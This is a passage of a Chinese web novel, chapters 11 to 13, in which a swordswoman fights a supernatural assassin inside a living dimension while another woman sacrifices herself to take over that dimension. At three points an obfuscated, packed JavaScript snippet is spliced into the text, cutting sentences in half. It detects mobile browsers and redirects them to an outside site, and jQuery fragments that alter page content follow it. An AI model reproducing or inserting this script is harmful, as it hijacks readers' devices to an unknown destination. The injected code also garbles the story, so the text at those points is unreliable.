天地素白,雪粒剐蹭着四无色定的刀刃,寒光在暮色中凝成冰棱,掌心似乎和刀柄冻在一起。年轻的厉暝肩胛渗血,全身的热气在冷风中蒸腾,雪花一靠近他就融化成水。刀锋贴颈的刹那,他们击掌相贺。
积雪在靴底咯吱消融,化作春溪渗入冻土,而后天地倒转,他们身处于结盟宴上,厉暝向她的杯中注入红酒,沉醉在她的描述中,他问:“你的理想国还需要建设者吗?”
飞艇在维度乱流中航行,全景窗外的星云被搅碎,春潮托着酒盏在星河间沉浮。他仰颈饮尽月光,喉结滚动时溅落的酒液像熔化的银。他们醉倒在摆渡港的甲板上,星云在身下晃成涟漪。
纠缠在一起的身影像两条藤葛,然后火从他瞳孔中燃起,烧掉他披着的人皮,烧断两条藤葛。朝暮站在记忆的边缘,看见他的右手化为利刃,刺入面前亲人的胸膛。
他说:“哪有什么理想国?”
于是站在潘德莫市民广场上的朝暮也说:“哪有什么理想国?”
终端机那头的厉暝似乎怔住了,朝暮继续说:“没有人能凭一己之力完美运行只存在于想象中的国家,哪怕是你全面掌控下的潘德莫,不也出现了张涵薇和章语这样的异类吗?”
“而且潘德莫从来不是什么理想国,它只是你的另一个人类繁殖场。”
沉默了好几秒,厉暝才说:“好,我加大交易筹码,潘德莫维度可以由你整个接管。”
终端机中传来金属磕碰的闷响,朝暮敏锐地听出来,那是她父亲的遗物。
“我付出那么多,想要的不过是一个问题的答案,关于你父亲的遗物。”厉暝问,“怎么把‘锚点’从‘监狱’里放出来?”
11. 穿西装的男人
朝暮质疑:“你知道它是锚点,为什么不知道把它放出来的方法?”
一旁的阿草完全听懵了,什么锚点,什么监狱,和遗物又有什么关系?
厉暝倒是很诚恳:“不知道,所以才来向你请教。”
朝暮思忖片刻,语气平缓:“可以,我接受交易,但遗物只有我能打开,你本人亲自带着它来潘德莫找我。”
“不可能,我说过,我从不怀疑你的实力。”
“那么你派人拿着遗物过来。”朝暮说,“可是你放心把遗物交给别人吗?”
厉暝沉默了。
变故就发生在这一刻,朝暮的后颈突然炸开一片寒栗,鼻尖嗅到一丝铁锈味。身体比大脑先一步给出反应,腰肢如折柳般自发地后仰,上半身几乎与地面平行。
一把锈迹斑斑的刀渗着血液斜刺而来,自右肋下方顺着无袖作战服的光滑面料滑过去。
朝暮躲过一刀,向后撤一步,她打量着面前突然出现的怪异剑客,对终端机说:“六年不见,你的变化让我吃惊,宁肯把遗物交给别人,也不愿意亲自来见我。”
“你在说什么?”厉暝平稳的语气被打破,“我没派人去找你。”
他低声吩咐身旁的人,很快得到回复,他的声音听上去有点阴沉:“也没人进入潘德莫。”
“因为进来的不是人。”朝暮反握刀柄的右手骤然翻转,左手顺势托住刀背,两掌交叠的瞬间,刀尖已笔直指天。如果塞拉或灵真在现场,一定能察觉到异常——她们的会长很少摆出这副如临大敌的架势。
阿草乖觉地拉住章语想找地方躲起来,朝暮轻轻地说:“放开她,我答应她姐姐保护她。”
“我可以帮你……”阿草嗫嚅着。
“用什么帮?”朝暮不看他,只顾着盯紧古怪的剑客,“你不是阿草,我无法信任你。章语,到我身后来。”
大战一触即发。
.
飞艇世纪号正下方的维度缝隙中,灵真带领一队战斗员与张涵薇一起迫降。
“你确定是这里?”灵真把脉冲枪端在胸前,警惕地环顾四周。
张涵薇默默点头。
维度缝隙位于多个维度的交接处,附近维度的虚影像海市蜃楼般投射在缝隙中,这里的空间极不稳定,随时可能折叠或坍缩。
灵真拿出探针阵列看了又看,她看不懂具体的计算方式和监测模块,只知道探针变红就必须驾驶飞船往回跑,否则他们一队人连尸体都留不下。
此时投影在缝隙中的是一个末日维度,四周的楼体被轰炸成蜂窝,大厦露出内部的钢筋。脚下的柏油路已变成地质断层般的沟壑,但他们一行人好端端站在马路上,这毕竟只是投影,并非真实景物。
灵真年纪不大,跟随会长七年,总归学了一些东西。她知道自己作为任务领队,心里再慌张也不能表现出来,她加重语气:“从这个位置能看见伪装成太阳的世纪号,潘德莫肯定在附近!那么大个的维度,又不会动,我们仔细找一定能找到!”
张涵薇赞同:“你说的对,但不全对。”
灵真炸毛:“打什么哑谜?潘德莫到底在哪?你指出来呀!”
张涵薇抬头目视天上虚假的太阳:“祂在能看见世纪号的地方活动。”
“潘德莫维度是活的?!”
【维度名称:潘德莫
特征分类:超小型拟态活性
现象描述:潘德莫是一个活着的维度,其存在形式为游荡于维度缝隙中的个体,任何目击潘德莫的智慧生命应避免与其进行直接交互。潘德莫具体表现为一名年龄约35-40岁的男性智人,身高约175厘米,体重约70公斤,黑发棕眼,无明显面部特征。其穿着为普通的白色衬衫、黑色西装外套、深蓝牛仔裤及一双棕色皮鞋,整体外观与常见维度的普通市民无异。
尽管潘德莫的外貌极为普通,但其存在形式显示出明显的异常特性。无法通过常规手段与其进行交互,任何试图与其对话、触碰或影响其行为的尝试均以失败告终。潘德莫对外界刺激无反应,且不会对周围环境的变化作出任何回应。然而,在能听到的范围内,当有被判定为智慧生命的个体大声呼喊其名字“潘德莫”时,潘德莫会立即出现在该个体面前,距离不超过一米。
当潘德莫出现后,向其提问“衬衫的价格是九磅十五便士吗?”,若得到“是”的回答,提问者将立即被传送至一个被称为“潘德莫维度”的异常空间,同时维度内会有一人被传送出来。该维度被描述为一个传统意义上的伊甸园,环境优美,气候宜人,且无任何形式的纷争或苦恼。潘德莫维度的居民过着高度重复的生活,其行为模式类似于老旧肥皂剧中的角色,日复一日地演绎相同的场景与对话。
在潘德莫维度中停留超过72小时的智慧生命将逐渐被同化。同化过程表现为智慧生命开始认为自己是该维度的原住民,并产生大量不存在的记忆。这些记忆通常包括与维度中其他居民的亲属关系、童年经历及日常生活细节。同化后的个体将完全融入潘德莫维度的社会结构,并失去对原维度的认知与联系。
潘德莫维度的出入口严格遵循一进一出规则,要离开该维度,必须满足以下条件:
1.两名被判定为“智慧生命”且有生命体征的生物同时守候在出入口处。
2.出口与入口每次仅允许一名个体通过,且必须遵循“一进一出”的原则,同时穿越出入口。
警告:鉴于潘德莫维度的同化效应及其不可逆性,所有智慧生命应避免主动接触潘德莫。】
灵真惊呆了,她突然想起来,塞拉定位潘德莫时报告位置错误,目标处于持续漂移状态。潘德莫是个人型活物,一直在维度缝隙内游荡,完美符合定位到的目标。所以塞拉的定位其实是正确的,她们如果早一点根据定位寻找入口,说不定已经把人救出来了。
“潘德莫——”张涵薇双手围拢成喇叭,大声呼喊。
毫无预兆地,一个套着劣质西装外套的普通男人出现在不到一米的地方,灵真被吓了一跳,狼狈地后退一步。
他看上去普通到不能再普通,仔细看过去,会发现他眼瞳中映着一轮太阳,灵真恍然大悟:“潘德莫居民看见的假太阳是通过他瞳孔折射的?”
“对。”张涵薇建议,“里面肯定有人在出口处守着,你们可以先进去支援会长,顺便把人换出来,我在外面持续性打开入口。”
队伍里心急的狼族兽人迫不及待提问:“衬衫的价格——”
“闭嘴!”灵真一把捏住灰狼的吻部,“我们全进去了谁知道你在外面干什么?”
她狐疑地说:“你到底能不能打开入口,把所有人接出来?”
“你没有必要怀疑我。”张涵薇无奈极了,“因为方法很简单。”
张涵薇从宝蓝色西装的口袋里拿出两把小巧的壁纸刀,在众人反应过来前,猛然将刀尖插进潘德莫的双眼中!
“原来方法这么粗暴……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929921|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灵真声音都在发颤。
在潘德莫体表最脆弱的地方制造外伤,局部破坏维度屏障,强行制造一个不受规则限制的出入口。
张涵薇松开壁纸刀,给出建议:“快让塞拉组织维度内的演员从太阳处撤离,时间有限,潘德莫自愈能力很强,临时出入口维持不了太久。”
灵真问:“临时出入口在天上吗?有多大?”
“我不知道。”张涵薇摇头,“维度内的太阳熄灭了,让塞拉帮他们在最黑的地方仔细找找。”
“滴滴滴滴滴——”
突然,灵真手里的探针阵列爆发出尖锐的警报声,不断闪烁的红光映在她火红的毛发上,她果断下令:“先撤退!”
张涵薇请求:“可以先把我妹妹接出来吗?”
“撤退!你妹妹和会长在一起,世界上没有比会长身边更安全的地方。”
高远的天际线处,末日废墟的投影开始坍缩,但虚假的太阳还是祥和地挂在天空中,极致的违和感给每个人带来莫大的恐惧。灵真咬了咬牙,请求连接塞拉的通讯矩阵。
.
潘德莫维度内,朝暮双脚分开重心下压,持刀指着面前的剑客。
之所以一直用剑客称呼祂,是因为朝暮觉得女鬼俩字有点不礼貌,然而女鬼两个字真的很适合祂。祂身上裹着染血的灰衣,及腰的黑色长发被血污凝固成一绺绺肮脏的辫子,把整张脸遮住。
祂的脚踝以下既没有鞋,也没有脚,而是一双粗糙的大手。十根手指都没有指甲,呈鸡爪状抓地,稳稳支撑祂的身体。本应是手的位置被两把锈迹斑斑的刀取代,扭曲的刀纹不断渗血,刀的末端没有刀柄,铁质柄蕊被又粗又长的黑色发丝牢牢绑在手腕裸/露的骨头上。
顶着一副能直接去演鬼片的尊荣,祂笑得很开心:“嘿嘿嘿嘿……”
朝暮对着终端机问:“区区1亿2000万怎么把十指请来的?”
“十指?”厉暝的惊讶不像演的,他直接否认,“不是我请的,你自求多福吧。”
他吩咐手下:“通知世纪号上的部门有序撤离,没有必要继续纠缠下去,要结束了。”
“祝你好运,希望能再见,前提是你能活下来。”厉暝礼貌地道别。通讯被挂断,捧着终端机的章语哆哆嗦嗦往后缩,显然被吓哭了。
十指兴奋地摩擦两把锈刀,神经质大笑。
“哈哈哈哈哈哈——”
如果硬要给十指一个定位,或许可以称呼祂为当今第一剑客兼第一杀手。第一剑客存在争议,因为十指不是人类或现存的任何种族,甚至不是智慧生命,祂是一种灵异现象,与匣中之女那样的灵异物品类似。不同之处在于,十指有靠模仿人类得来的简单行为模式,祂游荡在人世间,如海绵般吸纳不同的剑术。
这也是“第一剑客”存在争议的原因,不少人认为祂只会机械地学习,无法领悟剑道,不能研究新的剑术剑招,不配称为“剑客”。
“第一杀手”的名头倒是没人敢质疑。按理来说,灵异现象没有任何欲/望和需求,祂根本不需要钱,不用做杀手,但就是有人能用稀奇古怪的代价请动祂。
截至目前,从未听说有人用金钱打动十指,每一个请动祂的人据说都付出了相应的代价。
十指笑了好一会才停下,祂绕着朝暮一圈圈地转,像是围观笼子里的动物。
朝暮紧绷身体,随时准备招架十指的进攻,她克制不住好奇心:“谁请你来的?代价是什么?”
12. 十指
话问到一半,朝暮就后悔了,她不明白自己为什么和一个灵异现象说那么多。
她的身体轻轻晃了一下,下一秒刀已出鞘,人也腾空出现在十指面前,四无色定借助出鞘瞬间的力量与气势,携破空之音砍向十指——拔刀斩.生添寿。
十指似乎对拔刀斩早有预判,脚下十根手指用力抓地,右手锈刀架住四无色定,左手刀以一个奇诡的角度刺向朝暮的咽喉。紧接着,十指无法预料的事情发生了,朝暮对刺向自己要害的刀熟视无睹,她迅速将四无色定入鞘,整个人弓步弯腰,这个动作甚至把她的咽喉送到离锈刀更近的地方。
十指此时想抽回锈刀已经来不及了,朝暮紧绷如弓的身体随着再次拔刀的动作舒展开来,四无色定带着万钧气势向十指砍去,十指双刀交叉在身前,却根本没有碰到四无色定的刀刃,祂被这道斩击隔空击飞。随着朝暮起身缓慢归刀入鞘,飞在半空中的十指收缩身体,祂的锁骨下方撕裂出一道深深的血痕。
二段拔刀.煎人寿。
两段拔刀斩发生在短短半分钟内,在章语眼里,就是朝暮一刀将十指砍伤并逼退。在阿草眼里,战斗动作像被慢放,他甚至能看清朝暮二段拔刀前离锈刀有多近。心跳疯狂加速,阿草突然意识到自己并非毫无用处。
十指的脚下有十道深深的抓痕,抓痕里还浸着鲜血,祂堪堪停住,然后原地盘腿坐下。
朝暮:“?”
连章语都不哭了,三个人三脸茫然地看着十指,只见十指弯腰低头,脚下的手举高,伸进嘴里抠出一坨湿漉漉的长发。
朝暮被震撼了:“你真的是来杀我吗?”
阿草替她补充:“把人恶心死不算杀死,你……呕——”
嘴巴仿佛延展性极好的橡胶,被十指扯得比半张脸还宽,祂在众人的注视下,像拽线头一样不断拉扯顺直的黑发,从嘴里掏出一颗人头。
人头说话了,声音清脆甜美:“我不是让你杀她,我让你杀章语!”
是匣中之女,世纪互娱送给高端客户的通讯器,不是真正的人头。不知道为什么,朝暮竟然松了口气。
十指举着匣中之女,慢吞吞问:“哪个是章语?”
“给你看过照片!”匣中之女惟妙惟肖地怒吼,完美复刻使用者的神情。
十指抬头环视四周,露出黏腻黑发下的脸。祂没有眉毛,也没有眼皮,眼睛是两个正圆形,瞳仁很黑很大,眼白很少但白得森然。眼珠似乎不会转动,只能靠转动头部来扩宽视野。
被祂无机质的目光注视,像被深海里的鲨鱼盯住,有种空洞的执着感,又有种莫名的呆傻感。
仔仔细细看过三个人,十指委屈地说:“他们长得都一样。”
匣中之女脸上的表情近乎癫狂:“都一样?那你为什么一上来就砍拿刀的人?我和你说过章语是明星,明星会用刀吗?”
“我以为她是你给的报酬,明星又是什么?”
“明星就是章语!让章语去死,必须要章语死!用现在的样子死!章语死了我才给你报酬!”
匣中之女这副疯疯癫癫的样子让朝暮想起世纪号上的竞标,她试探着问:“β52I140?”
“唉?你认识我呀?”匣中之女害羞地低下头。
β52I140,砸1亿2000万成功中标的观众,她是章语的狂热粉丝。
虽然张涵薇恳求朝暮带章语走时提到过这位粉丝,但朝暮无论如何也想不到,β52I140能疯狂到这种地步。请十指来杀章语好比用离子炮攻打蚂蚁窝,毕竟十指以前的目标不是修真维度的邪剑仙就是黄金城的大贵族。
β52I140不计一切代价只为满足私欲的行径让朝暮回忆起不少黄金城时期的故人,她问匣中之女:“你用什么代价请动了十指?”
“要你管!”匣中之女蛮横地说。
“给我找个大剑客来玩。”十指同时回答。
沉默弥漫在市民广场上,朝暮的表情有些微妙。
“啊啊啊啊啊!”匣中之女尖叫,“你凭什么告诉她?你违约了!”
“不能说吗?”
“当然不能!合同里写了!”
十指困惑地歪头:“可是我不认字呀。”
“你不认字,合同不生效。”朝暮抢在匣中之女同步传话前说,“如果你仅仅想找个剑客,那么我可以满足你的需求,你不用替她杀人。”
匣中之女尖叫着怒骂着,十指丝毫不理会那些噪音,祂思考良久,缓慢点头:“你说的对,她说的也对。剑客,我不嫌多,先杀你再杀章语,一个不落。”
无人能理解祂的行为逻辑,或者说祂没有行为逻辑,上一秒坐在地上聊天,下一秒和朝暮战在一起。
十指双臂打开,脚踝底下的十根手指一同发力,像是十条虫子,灵活地弯曲扭动着。祂跃到空中,以用肉眼看快出残影的速度不断砍向朝暮。朝暮沉下身体,双手持刀,微微变化着角度与之交锋,铿锵之声回荡在广场上。
在章语眼里,他们似乎陷入某种长时间的纠缠,十指两把锈刀速度极快,被朝暮仅靠角度的改变就招架住,但朝暮无力破局,只是消耗体力对砍。阿草察觉到,朝暮脚下的柏油路出现裂痕。
千钧一发之际,所有人耳边都传来一丝玻璃破碎般的清脆声响,声音从很高很远的地方飘来,如同大雨前的雷声。紧接着,天上的太阳突然熄灭,整个维度陷入黑暗。
世纪号出事了!朝暮不可控地分神想。
十指在黑暗中高高起跳,双臂举过头顶蓄力,靠重力势能与斩击的双重力量,向朝暮当头劈砍下来。
朝暮听见黑暗中的破空声,她的手臂青筋鼓起,向上挥出一道带有金色罡风的剑技,想用斩击对抗斩击。剑技一出,朝暮便感觉腰侧肌肉一紧,两秒内连转身都转不了。
十指在漆黑的空间中咧嘴一笑,露出墓碑般的牙齿,祂突然停滞在空中,下一秒,十指原本的位置只剩下一个血影,而祂的本体则突兀地出现在朝暮身后,一刀砍进朝暮右肩,另一刀在捅进身体前被朝暮架住。
腕骨与锈刀连接的地方发出令人牙酸的咯咯声,砍进右肩的锈刀被肩胛骨死死卡住。朝暮如同感受不到疼痛,绷紧肌肉硬抗十指的力量。
她腾出一只手抓紧十指的左臂,手指近乎陷进左臂肌肉,但抵挡不了锈刀下压的力度。朝暮的额角冒出冷汗,新鲜血液争先恐后从右肩伤口中涌出,哗啦啦洒在地上。
最先闻见血腥味的是下风口处的阿草,他瞬间红了眼眶,身体比大脑先一步窜向血腥味的来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929922|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
源。伸手不见五指的黑暗里,他什么也看不清,但冥冥中能感受到朝暮的位置。他的速度比他想象中要快,他的身体比他预估得强劲。
一米九的身高,一百八十斤的体重,犹如一架磁悬浮列车爆冲而来。集中精力招架对方的两名剑客都没空理他,十指觉得被一个普通人撞一下也没什么,不痛不痒……的?
十指的身体如纸片般被阿草撞飞了,死死卡在肩胛骨中的锈刀也被迫撞出来。朝暮闷哼一声单膝跪下,她口袋里的耳麦掉在地上,闪烁着蓝光,塞拉的声音响起:“会长,请再坚持一会,灵真那边遇见缝隙坍缩了。”
朝暮根本没听清塞拉的后半句话,耳边传来锈刀穿刺血肉的噗嗤声,不止一下,短短几秒内十指连砍阿草三刀,像用草梗穿蚂蚱玩的无聊小孩。奇怪的是,阿草没有发出任何声音,十指也觉得奇怪:“明明是个普通人。”
明明是个普通人,被厉暝植入记忆做成陷阱,却非要将少得可怜的美好记忆当真,把自己当成真正的阿草,为她这个虚假的童年好友献出生命。
即使认定他不是阿草,这一刻,朝暮也把他当做真正的阿草看待。至少在遭遇这些事情前,他一定有着和阿草一样的灵魂,傻兮兮的、热腾腾的,莽撞地献出一切。
朝暮放任自己被愤怒吞噬。
黄金结晶顺着皮肤爬出无袖作战服,血管里流淌的液体开始沸腾,透过皮肤能看到无数金丝在游走。最先融化的是她的作战手套,坚韧的指节生长出锋利的棱晶,晶体一路爬到四无色定的刀柄上,缠绕在刀刃上。
全黑的环境中,她身上的金色过于耀眼,十指困惑地歪头看她,手上还在一下下刺穿尸体。
朝暮起身向尸体走去。
她迈出第一步,所有黄金结晶瞬间升华,金色的湮粉酿成风暴,以她为圆心展开。
第二步,路灯杆瞬间被同化成纯度极高的黄金,像融化的蜡烛般弯折,柏油路龟裂的缝隙中喷出液态黄金,悬浮的金属液滴在空中,凝结成数以万计的六棱锥。
第三步,以她为圆心展开了一个半径十米的黄金域,物质被分解为黄金微粒,被击中的生物会从细胞层面逐渐金属化,最终破碎为金粉。
十指战意高涨,嘴角咧到耳根,圆形眼睛笑成一条下压的细缝,祂的身体完全化作血色虚影,抵抗住金属的同化,祂嘶吼着嗓子尖笑:“暴君!哈哈哈哈是暴君!”
血色虚影无法完全抵抗金属化,十指锁骨下的伤痕不再向外渗血,而是不断冒出带着热气的金砂。祂毫不在意,大笑着挥刀砍向朝暮,两把刀在半空中接刃,发出铮然轰鸣。
地面上的章语默默计算距离,感觉自己不会进入黄金域的范围,她连滚带爬地向前跑几步,捡起地上的耳麦。耳麦完全被同化,变成一块纯度极高的黄金。章语急得用牙咬了两下,耳麦滋滋作响,竟然又闪起蓝光,不愧是塞拉出品。
“会长,您那边怎么样了?”
“我是章语。”
“会长呢?”塞拉立刻问。
“一个叫十指的女鬼突然冒出来要杀我,跟在会长身边的男人死了,会长变成小金人和十指打起来。”章语说话时竟然不哭了。
她抹了把脸,恳切地问:“可以让我和姐姐说句话吗?就一句。”
13. 新生的潘德莫
“滋滋滋滋滋——”黄金耳麦爆出电流般的噪音,章语吓得将耳麦举高,生怕它炸开。
塞拉很冷静:“耳麦快报废了,来不及让你通话,你说吧,我转告。”
“请帮我告诉姐姐,我其实没有和她相处的记忆……呜,”章语努力憋住哽咽声,“受维度影响,在我的认知中,我从潘德莫诞生,独自长大,不可能有姐姐。很久以前第一次收到她的信件,被告知世界是假的,我害怕得要死,觉得她是骗子——”
“滋滋滋滋滋——”电流声加大了。
“你快一点说。”塞拉催促。
章语声音发颤:“就算我没有曾经的记忆,也觉得你是个好姐姐,我很喜欢你给我安排的人生,非常享受做明星。当知道你用各种方式控制维度内的演员时,我曾经怀疑所谓的‘姐妹’也是一个谎言,是你用来控制我的谎言。”
她加快语速:“但我现在不怀疑了,请不要再费力救我,我度过了很绚烂的一生,没有任何遗憾。如果一定要救人,把其他演员都救出去,看在我不记得你且怀疑你的份上,把我忘了吧。”
“你一定要照顾好自己,你也值得拥有绚烂的人生,我——”
“滋——”一阵长电流音响起,耳麦的蓝光熄灭,章语托着变成黄金的左手,出神地望着天空中金红两个影子。
.
即将坍缩的维度缝隙中,一行人坐在飞船上准备离开,灵真连接塞拉的通讯矩阵,沉默着听完这段录音。一旁的张涵薇面色白得像纸,嘴唇呈肉灰色,身上的血液早已凝固。
“十指……”张涵薇喃喃地说,“怎么可能是十指……”
作为厉暝曾经的手下,她不止一次听厉暝愉悦地谈论朝暮的实力。但她清楚,十指作为非人的存在,不是朝暮单独一人能对抗的。
她请求:“能不能再播一次最后一句话?”
飞船起航,慢慢驶离地面,章语微微颤抖的声音在小小的舱室中响起:“你一定要照顾好自己,你也值得拥有绚烂的人生。”
张涵薇绝望地闭上眼睛。
我配得上绚烂的人生?她扪心自问,立刻给予否定的回答,配不上,绝对配不上。她曾经卑微得像烂泥,后来为了不做烂泥,就把其他人踩成烂泥。实际上她从没觉得自己变过,在办公室勾心斗角时,用下三滥的手段算计同事时,用药物控制演员时,她都欺骗自己,说是为了妹妹才这么做,然而真相是这样吗?
真相是,我就是烂泥。张涵薇出神地望着高远天空的虚假太阳,坍缩从天际线开始,很快蔓延至地表。钢筋从蜂窝状的楼体刺出,像被酸雨蚀穿肋骨的巨人,地面的断层深处涌动着暗红色熔岩,全然是一副比末日维度还要末日的景象。
在末日中,只有世纪号伪装成的太阳安好地挂在天空上,仿佛在俯视地表的所有人。张涵薇像是突然回到那间会议室,她在台上冒着虚汗,笨拙地汇报季度成果,绞尽脑汁夸大妹妹的人气。但没有任何作用,她的小心思全部晾晒在阳光下,厉暝让她处理掉妹妹,然后她说了什么?
张涵薇有些恍惚,她说她要让妹妹插足情侣间的恋爱,这是她慌张之下编造的谎言,观众席上的组员面色凝重,直冲她摇头挤眼睛,暗示她不要顶撞厉暝总裁。她假装没看见,像个小丑一样被谢华宁挑衅,然后被告知竞标杀人市场这个大企划,她才发现自己被排除在公司核心层外,连这么大的企划都不知道。
原来她连自己都保护不好呀。
那怎么可能保护一无所知的妹妹呢?
如果当初进入维度忘记一切的是我,留在外面运作直播间的是妹妹,一切是不是会不一样?
无数念头横亘在张涵薇的脑海中,她的思维无限活跃,自我否定的同时,一个模糊的影像突然出现在她眼前。
“回去!快回去!”张涵薇猛地扑向驾驶舱。
“你疯了?”驾驶员骂道,一脚把她踹回去。
灵真稳稳按住她:“维度缝隙马上坍缩,不可能回去,你坐下。”
张涵薇苍白的脸上染起一坨红晕,她仿佛还站在会议室的演讲台上,面前是掌控妹妹生死的总裁厉暝,她是负责向总裁邀功的策划部一组组长,她气势十足地说:“我有办法把所有人救出来,包括你们的会长!把我放回去,放我一个人回去,你们开飞船先走。”
灵真不耐烦了:“你肯定要做危险的事,我不可能放你回去找死。”
“就算我死了又怎么样?”张涵薇的眼睛亮得吓人,“我和会长说的话你们听见了,我在会议室里的发言被你录下来了,你知道的,我明明曾经是个奴隶,现在却用奴隶做直播,我不是个好人,死掉也无所谓。”
“是不是好人,应不应该因此而死,不是你能说了算的。”灵真纹丝不动。
“我不一定会死。”张涵薇注视着灵真的绿色竖瞳,“给我一次机会,让我救妹妹,让我救所有人吧!我知道,你有弟弟,你一定能理解我。”
“理解你什么?”灵真气笑了,“我弟整成那个德行,我恨不得把他扇死。”
“你不会,因为妹妹就是妹妹。”张涵薇坦然地说。
灵真怔住了,她愣了几秒,狼狈地躲避张涵薇的视线,低头去看探针阵列,她快速妥协:“可以,但你只有十秒钟时间。”
“返航。”灵真下达命令,“我盯紧探针,第八秒时就会强行把你带上飞船。”
“谢谢你,我——”
“不要道谢,也不用解释你想怎么做,快开始行动。”
飞船迅速回到地面,在离地十米左右的位置停下,下方正好是潘德莫,祂依旧漫步在维度缝隙中,对周围的一切毫无感知。
绳梯还没放下,张涵薇就毫不犹疑地跃出舱室,她常年坐办公室,当然不知道怎么从十米高处安全着落,但她当过好几年最低级的女仆,很清楚怎么挨打。
她蜷缩着身体,用手护住头颈,稳定自身重心,保证脚先着地。落地后脚踝发出一声脆响,膝盖也有挫伤——但那些都无所谓了,她迫不及待地扑向面前的潘德莫,用力扒下男人的西装外套。
是工服,就是工服!她没有看错!张涵薇揪住外套内侧褪色的标签,眼泪直接失禁。
用两把壁纸刀扎进潘德莫双眼的瞬间,她瞥见了西装外套内侧的三行小字:
【姓名:潘德莫
部门:维度扮演者
尺码:均码】
张涵薇在世纪互娱时,十年如一日地穿着公司发的工作服,就是她身上这套宝蓝色西装。别人都嫌工作服颜色扎眼,不愿意穿。只有她天天穿着,几乎没有自己的衣服。因为她总想着节省一点,再省一点,早早攒够钱,把妹妹从潘德莫接出来,买两个新身份,找农业维度好好过日子。
没有人比她更熟悉工服,从第一次在照片上看到潘德莫的穿着时,她就种下疑惑。潘德莫下身穿着休闲牛仔裤和一双棕色皮鞋,明显和上身的加宽垫肩西装不搭。即使是最没有审美的人,也不会选择一件有沉重垫肩的劣质黑西装作为外套。
那么只有一种可能,西装外套不是祂的,而是祂被强加在身上的一件不属于祂的衣服。
当她终于有机会靠近潘德莫,她几乎下意识地向西装内侧看,或许是上天的眷顾,真的让她看见了褪色的标签。
张涵薇喜极而泣,她抖开外套,毫不犹豫地穿在身上!她其实不知道自己的想法是否准确,她在赌穿上外套后能否变成潘德莫。
面料裹住身体的瞬间,霓虹星环在维度缝隙外炸开,上半截缝隙完全坍缩,张涵薇的指甲抠进外套的人造纤维里,那些发光的尘埃像妹妹第一次登台时的镁光灯,也像养殖场的白炽灯。
N7481和N7482,她们异父异母,却诞生自同一个人造子宫。
这其实是很罕见的,养殖场喜欢将同父同母的双胞胎受精卵放在同一个人造子宫内,生出来的奴隶一个作为商品,另一个作为商品备换件。因为养殖出来的奴隶总归质量不好,先天有些问题,与其等客户上门吵架要求售后服务,不如从一开始就准备好替换的零件。
或许是工作人员失误,异父异母的她们从受精卵开始就被安置在同一个人造子宫内;也或许是上天眷顾,她们生下来后很健康,作为最优质的商品被允许学习一点移植记忆外的知识和常识,还被贵族买走。
她当时已经很知足了,她和妹妹发誓要好好工作,守好做奴隶的本分。
然后妹妹差点被女仆长打死。
再然后呢?张涵薇拼尽全力也抓不住流失的记忆,求生的本能使她想脱下西装外套,但她紧紧抓着外套下摆,拼命阻止自己的动作。
在她看不见的地方,她的瞳孔慢慢扩散,如同镜子般映出一轮太阳。
太阳……她想,朝暮将她们救走时,在她眼里就是太阳。但那时的朝暮太稚嫩太幼小了,作为一个在尘埃里摸爬滚打的烂泥,她不愿把全部希望寄托在初生的一轮太阳身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929923|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上。
N7481和N7482,她们第一次认真给自己取名字,用同音字作为姓氏,笨拙地模仿普通人的父母给对方取了好听又好记的名字。她们决定分开工作,她却受伤了。她蜷缩在运输舱夹层,妹妹把医务室顺来的镇静剂推进她静脉,自己却咬着运输毯抑制颤抖。画面再一转,她看见妹妹第一次涂口红的样子,唇膏是从化妆间偷的过期样品,抹不匀的玫红色蹭在虎牙上,像她们贵族家里做低级女仆时见过的食人玫瑰。
那是她第一次意识到,原来妹妹比她漂亮这么多,妹妹简直是网上的大明星。
张涵薇抖着手艰难地扣上西装外套的铜扣,铜扣早已生锈,但她闻见的却是青草味,是潘德莫维度里永不凋谢的草坪,是妹妹成为大明星后收到的第一束玫瑰。那一天,直播间人气爆棚,在线观看人数倍杀第二名,章语的名字光荣登顶。那一月,她拿到不菲的奖金,立刻买了一块用全息星空奶油做的蛋糕,偷偷夹在私联的信件中,并在信件第一行写明,让妹妹拿到手就吃掉。
铜扣全部扣上,西装外套笔挺地立在她身上,内里的纤维如同触角扎进她的身体,张涵薇什么都看不见了,她的眼前只有那轮虚假的太阳。
她听见一个男人饱含痛苦的声音:“你确定要这么做吗?这痛苦不亚于西西弗斯所受的巨石之刑。”
在古老的神话故事中,西西弗斯所受的刑罚是将一块巨石推上山顶,每当他快要把石头推到山顶时,石头都会因重力滚回山脚,然后他只能重新开始,反复进行这项徒劳无功的劳作。
